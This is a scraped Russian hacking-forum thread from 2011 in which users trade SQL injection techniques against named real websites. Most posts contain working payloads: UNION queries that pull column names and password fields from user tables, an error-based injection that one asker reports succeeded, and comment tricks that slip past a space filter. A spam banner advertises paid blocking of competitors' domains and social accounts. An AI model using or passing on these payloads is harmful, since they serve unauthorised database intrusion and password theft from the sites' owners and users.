УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1841 из 2438

1841

Опции темы

Поиск в этой теме

Опции просмотра

#18401

28.10.2011, 12:31

IMMORTAL_S

Новичок

Регистрация: 29.04.2010

Сообщений: 19

Провел на форуме:
58603

Репутация: 3

Как бы раскрутить..

Всем привет!

В строку поиска ввожу qwe' asd

Получаю такое:

В строке поиска текст меняется на qwe\' asd

Выводится ошибка:

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPP' at line 1

Query: select * from `news` where ( (UPPER(`head`) like '%ASD%') and (UPPER(`head`) like '%QWE'%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPPER(`text`) like '%ASD%') and (UPPER(`text`) like '%QWE'%')) and `hide`=1 order by date desc

Можно как-то раскрутить..? сам пробовал, что-то не получается

#18402

28.10.2011, 13:08

Melfis

Guest

Сообщений: n/a

Провел на форуме:
195266

Репутация: 53

Цитата:

Сообщение от namez2

namez2 said:
Помогите плиз. разобраться с таким выражением, как дальше его раскрутить? (все испробовал дальше не могу продвинуться, как то не стандартно с кавычками...)
-ttp://www.passion.ru/piknik.php/view/(2)union(select(1),version(),3)

Цитата:

Сообщение от None

http://www.passion.ru/piknik.php/view/(2)union(select(1),(select(group_concat(column_nam e))from(information_schema.columns)where(table_sch ema!=0x696e666f726d6174696f6e5f736368656d61)and(ta ble_name=0x7061735f7573657273)),3)

Ток учти, что group_concat возвращает до 1кb инфы.

Цитата:

Сообщение от IMMORTAL_S

IMMORTAL_S said:
Всем привет!
В строку поиска ввожу
qwe' asd
Получаю такое:
В строке поиска текст меняется на
qwe\' asd
Выводится ошибка:
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPP' at line 1

Query: select * from `news` where ( (UPPER(`head`) like '%ASD%') and (UPPER(`head`) like '%QWE'%') or (UPPER(`anot`) like '%ASD%') and (UPPER(`anot`) like '%QWE'%') or (UPPER(`text`) like '%ASD%') and (UPPER(`text`) like '%QWE'%')) and `hide`=1 order by date desc
Можно как-то раскрутить..? сам пробовал, что-то не получается

Видно же где неправильно ты делаешь то.

1') order by XXX--+

и подбираешь кол-во столбцов, меняешь на юнион и вуаля. Или order by XXX--+ меняешь на error-based sql inj

#18403

28.10.2011, 15:05

Boolean

Guest

Сообщений: n/a

Провел на форуме:
40748

Репутация: 78

Цитата:

Сообщение от IMMORTAL_S

Код:

Code:
asd qwe'))ORDER/*wtf*/BY(10) --

Код:

Code:
asd qwe'))UNION(SELECT(1),(2),(3)from(table)) --

Цитата:

Сообщение от None

Видно же где неправильно ты делаешь то.
1') order by XXX--+
и подбираешь кол-во столбцов, меняешь на юнион и вуаля. Или order by XXX--+ меняешь на error-based sql inj

Очевидно же, что нельзя допускать пробелов, так как идет explode(' ', $some) и после implode.

#18404

28.10.2011, 23:13

qaz

Guest

Сообщений: n/a

Провел на форуме:
344922

Репутация: 75

Такой вопрос, нашол нужную мне колонку

http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,column_name,4,5+from+informa tion_schema.columns+where+table_name=0x7573657273+ limit+2,1--+

хочу вывести

http://goldsauna.ru/articles.html?id=-7+union+select+1,2,passwd,4,5+from+users--+

а нифига не выводит, почему?

#18405

28.10.2011, 23:17

IMMORTAL_S

Новичок

Регистрация: 29.04.2010

Сообщений: 19

Провел на форуме:
58603

Репутация: 3

Получилось вот так:

Код:

Code:
ass'))/**/and/**/1=(select/**/1/**/from(select/**/count(*),concat((select/**/concat_ws(':',user(),version(),database())),floor(Rand(0)*2))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)/**/and/**/(('1%'='1

Всем спасибо!

#18406

28.10.2011, 23:18

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Отправить сообщение для Konqi с помощью ICQ

Цитата:

Сообщение от qaz

qaz said:
Такой вопрос, нашол нужную мне колонку
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,column_name,4,5+from+informa tion_schema.columns+where+table_name=0x7573657273+ limit+2,1--+
хочу вывести
http://goldsauna.ru/articles.html?id=-7+union+select+1,2,passwd,4,5+from+users--+
а нифига не выводит, почему?

http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,passwd,4,5+from+goldsauna.us ers--+

qaz

эти элементарные шаги описаны почти во всех мануалах

#18407

28.10.2011, 23:39

mandalina

Познающий

Регистрация: 27.01.2009

Сообщений: 94

Провел на форуме:
1052642

Репутация: 46

Отправить сообщение для mandalina с помощью ICQ

Извиняюсь что занимаю у вас время.Возник вопрос.Собсно сформулировал запрос вида

Код:

Code:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(column_name)+FROM+INFORMATION_SCHEMA.columns+where+table_name=char(99,109,115,95,115,121,115,116,101,109,95,117,115,101,114,115)--

В браузере выдает

Код:

Code:
id,name,login,password,enabled

Дальше пробую

Код:

Code:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(id,0x3a,user,0x3a,pass)+from+cms_system_users--

Но ничего не выводит,собсно как правильно?Спасибо за внимание

#18408

28.10.2011, 23:55

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

Провел на форуме:
4072944

Репутация: 1550

Отправить сообщение для Gorev с помощью ICQ

Отправить сообщение для Gorev с помощью Yahoo

Цитата:

Сообщение от mandalina

mandalina said:
Извиняюсь что занимаю у вас время.Возник вопрос.Собсно сформулировал запрос вида

Код:

Code:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(column_name)+FROM+INFORMATION_SCHEMA.columns+where+table_name=char(99,109,115,95,115,121,115,116,101,109,95,117,115,101,114,115)--

В браузере выдает

Код:

Code:
id,name,login,password,enabled

Дальше пробую

Код:

Code:
http://site.com/menu.php?form_id=-33+union+select+1,2,group_concat(id,0x3a,user,0x3a,pass)+from+cms_system_users--

Но ничего не выводит,собсно как правильно?Спасибо за внимание

count(*)

#18409

28.10.2011, 23:55

qaz

Guest

Сообщений: n/a

Провел на форуме:
344922

Репутация: 75

Цитата:

Сообщение от Konqi

Konqi said:
http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,passwd,4,5+from+goldsauna.us ers--+

qaz
эти элементарные шаги описаны почти во всех мануалах

goldsauna - ето я так понимаю название БД, а как его узнать? каким запросом?

#18410

29.10.2011, 00:00

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Цитата:

Сообщение от qaz

qaz said:
goldsauna - ето я так понимаю название БД, а как его узнать? каким запросом?

колонка table_schema

Страница 1841 из 2438

1841

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход